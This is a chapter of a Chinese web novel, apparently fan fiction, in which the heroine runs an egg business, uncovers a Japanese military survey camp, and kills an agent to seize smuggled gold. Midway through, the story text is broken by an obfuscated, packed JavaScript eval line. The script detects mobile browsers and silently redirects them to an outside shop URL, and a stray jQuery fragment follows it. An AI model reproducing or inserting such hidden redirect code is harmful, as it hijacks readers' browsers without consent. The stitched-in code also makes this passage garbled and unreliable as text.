(五)
乡下收到的蛋价格在十五文到二十文,一枚100克左右,高澄锦兢兢业业走遍附近大小村落,终于收集齐了一万颗鸡蛋。
以目前蛋厂的工作效益,这一万颗蛋至少需要半个月处理时间,加工成品干蛋白在2000斤左右,贩卖到海对岸价格为1.3美元每磅,去除掉成本和税收,利润很可观。
而且这年头国内动荡,银元价格并不稳定,美元、英镑才是更能打的。
高澄锦选择这个生意,一方面是她对于这个年代进口贸易生意感兴趣,蛋厂看起来很小不引人瞩目,另一方面蛋品加工在这个时代还是有前景的,四十年内市场都不错,女工们可以获得一份稳定到干到退休的工作。
有系统空间这样的bug存在,在成本损耗极小的情况下,高澄锦当然选择努力收货,淡季大量收购囤积,用小鸡蛋实现她的事业王国。
牵着毛驴哼着歌,高澄锦到了地方却颗粒无收,难道这么快就有对手了吗?这村子明明很偏僻,旁边都是山啊。
“不好意思啊让姑娘你白跑了一趟,本来那蛋都准备好了,可是突然来了些日本人,日本人说给的价格更高点,我老头子就把蛋都卖给他们了。”女人一脸歉意的说道。
一旁的老头嘟囔着:“那日本鬼子不讲理的,他们又有枪。”
“四百颗蛋,都被买走了?”听到敏|感词高澄锦警惕几分:“这里怎么会有日本人?他们有多少人?带着武器?”
“来了七八个日本人,为首的那个中国话说的还挺好,说他们是来考察的商人。这边山穷的很,也不知道来考察什么。”老头打开了话匣。
这边的山很荒,百姓们大多靠在附近山脉中的矿做工生活。
不管怎么样,这个年代出现在这里的日本人,绝对包藏祸心。
昨天才下过雨,土地松软所有痕迹都无所遁形,从脚印看他们穿的鞋子是制式纹路一致,从重叠的脚印看人数至少有十几个。
顺着脚印的方向看去,那是通往山间的小路。
还真是天公作美啊。
继续向前,痕迹越来越多,映入眼帘的有七八顶帐篷的营地,营地里有两个人在烧火做饭,油布下遮住的是各种生活物资印着耕云商社字样,这个数量看他们是准备在这里呆上一段时间。
在最好的帐篷中高澄锦找到了些文字资料和信件,她中学时外语选修的就是日文,基础还在,看懂了文字资料是份调查报告,这些人的真实身份是日本军人,来到这里是进行地理勘探情报活动。
负责人大古光照在长沙附近山脉中发现了奇怪的物种,疑似是从未在自然界中发现的动物,特此申请资金驻扎调查。
所以满营地她都没找到的鸡蛋,是被日本人拿去引诱奇怪动物了?
抓什么新奇物种啊,这片神州大地上最有害的物种不就是他们吗?
饭菜的香味从帐篷外传来,脚步声越来越近,高澄锦唇边的笑意越来越深。
齐铁嘴最近每天用过早饭就到铺子开工,天黑时才回家去。
新招的伙计小满感慨他们八爷实在工作努力,这其中的原由只有神算子自己清楚。
日暮西山,巷子中的买卖人走了大半,齐铁嘴也收了摊。
穿过往来的行人,齐铁嘴闻到空气中有食物的香味儿,他的肚子也咕咕叫起来。
穿过两条巷子就到了家,推开大门,就看到了一道藕荷色的倩影。她的头发还没有干,随意的披散在肩膀上,水汽浸湿衣领透出白皙的皮肤。
高澄锦看向门口的人影:“回来了?快去洗手,今天吃烧烤。”
“哎哎。”齐铁嘴傻笑着去洗手,他本以为今天她也会在蛋厂忙到很晚才回来,准备晚餐就浓茶配点心。
“闻起来真香,这纹理看起来是鹿肉啊。”齐铁嘴看着碗里的肉说道。
“今天上山打猎了,收获还不错。”高澄锦笑了笑:“就是毁了件衣服,我很喜欢那套的。”
“旧的不去新的不来,正好我得了几匹满清宫里传出来的贡布,到时候去大昌盛约个师傅,做上三件五件换着穿。”齐铁嘴说道。
“这鹿肉真好吃,比我之前吃过的要嫩多了,没想到除了炒菜,澄锦你做烧烤也这么在行。”齐铁嘴尝了一口鹿肉,充盈的汁水和美味的滋味让他幸福的眯起眼睛:“这场景幸福的像是做了神仙,不,比做神仙还幸福。”
高澄锦将自己配的烧烤干料递过去:“齐神仙,尝尝我自己兑的酱料。”
“这料讲究啊,一吃就知道用的是上等芝麻、孜然、花生、大蒜、青花椒,还放了紫苏吗?”齐铁嘴尝了一口,还有几种很陌生的香料。
“厉害,不愧是你。”高澄锦把烤杏鲍菇递给他:“这种蘑菇也好吃。”
“味道很好,这蘑菇口感厚实,比肉还要好吃,以前我从未吃过这种蘑菇。”齐铁嘴很喜欢这种蘑菇。
杏鲍菇是什么时候传入国内的高澄锦也不清楚,她笑眯眯的答道:“这也是打猎时候采的,雨后蘑菇多。”
烧烤自然是要配酒,齐铁嘴拿出了一坛酒:“这是老于家酿的女儿红,平日里抢手的紧。今天他来我这给孩子算成亲吉时,给我带了一罐。”
塞子打开,冲鼻的酒味儿袭来一闻就知道度数很高。
齐铁嘴尝了一口立刻摆手:“不行,这烈酒喝了会头痛,我去拿些水咱们兑了喝,这样明天才不会头疼。”
高澄锦心情不错,她觉得和这种人生活太有意思了,就算家里只有两个人都不会冷场,永远热热闹闹。
齐铁嘴心情也很好,微醺时他甚至给负责烤肉的高澄锦唱了段小曲儿,然后便乐极生悲。
齐铁嘴他吃了太多的鹿肉,当天夜里就做了个旖旎非凡的梦,梦里一响贪欢,快乐非凡,梦醒后他头蒙被子忍不住唾弃自己。
他、他才不是那么孟浪的人。
高澄锦是一大早被楼下的声音弄醒的,她走进厨房就发现齐铁嘴蹲在灶坑不知道忙着什么,见到她来还欲盖弥彰的拍了拍手,将锅灰抹匀在衣服上。
“你在做什么?”高澄锦问道。
“澄锦你睡醒了,早餐吃米粉。”齐铁嘴擦净手,推着她就一直往外走。
米粉儿很好吃,一尝就是火神宫陈大娘做的,那这人一大早在忙活什么?
出门前,齐铁嘴通常是会给自己卜一卦的,但今天手也没掐,小龟壳也没拿,火烧屁|股般的往外跑。
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17942699|213965||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
“我今天可能会回来的晚一点。”在人影消失前,高澄锦对他说道。
高澄锦喃喃至于:“他今天怎么这么反常?”
高澄锦今天准备去做一件好事,具体的内容包括:防止国有资产流失到境外。
昨天在山上打猎的时候,她从大古光照的书信中读到了有意思的东西,大古光照作为洋行工作人员,他一直用租界的人脉赚了很多佣金,今天会有一批金条要交接给他在外资银行工作的朋友土肥一郎,对方会将金条带回日本。
就是这个银行朋友太谨慎了,选的地方在租界的日本餐厅,还好她有点语言基础。
高澄锦调整好头套的位置,对镜中易容过的男人笑了笑。
她比约定好的时间更早到了十五分钟,逛了一圈后选择距离前台最远,离墙边最近的包厢,点上一桌菜。
接下来只要等待就好了,高澄锦感受了一下隔断拉门的厚度,打量着屋里的一切。
当然,很多时候计划赶不上变化。
将同色的防水纸贴在四周墙面上时,隔壁传来包厢们被拉开的声音,高澄锦不解上午十点这么多人来吃日料吗?
是英文对谈,高澄锦无法通过口音判断什么,大部分内容是两人在日常问候,然后说起cultural relic这个短语是什么意思来着听起来好熟悉啊,高澄锦只记得cultural是文化的意思。
又一个脚步声由远及近,高澄锦挺了挺背,短刀在袖中已经微微出鞘。
拉门打开,气质浑浊的胡子男开心的说道:“大古桑,好久不见。自从苏联战场上下来后,我一直期待和你见面。”
他大步流星走上前,将箱子放到桌子上,觉得背对着自己的男人似乎比以前单薄了点:“你被派到中国来之后一直没有好好吃饭吗?”
他的眼中闪过惊讶,尖叫声在喊出前就凝固了,一如这人的生命。
扶住即将倒下的尸体,高澄锦用粗犷的声音回答道:“我每天都有好好吃饭,倒是你,体重比想象中还要沉。”
黑色的皮箱打开,金条、珠宝闪闪发光,还有成捆的美元、英镑和法郎。
高澄锦一边将宝箱收起来,摸出男人身上的船票,一边用伪声模仿两人交谈,撕下墙上的纸将他裹住暂时扔到空间里。
长沙口岸正停着日本商号制造的船只,也算是老家船送他直接回老家。
处理完一切,高澄锦看到手腕上沾的血点,皱着眉向洗手间走去。
轻微的声音从外面传来,高澄锦觉得有些烦了。
有的时候人是会为自己的好奇心而付出代价,解九本是察觉到了些许异样,想要试探一番,没想到没试探成反而自己着了道。
他只觉得后颈一痛,就失去了直觉。
解九再次醒来的时候,感受到轰鸣声和说话声。
自己竟然身处于船只上,确认身上完好无损后,解九松了口气。
周围空气浑浊,以至于这时候解九才闻到淡淡的血腥味从隔壁传来,一个垂着头的男人坐在他身边,帽子边缘露出的皮肤惨无血色。
解九目光一顿,立刻摸出怀表,打开后一张纸条从里面掉了出来,上面用日语写着“安静”。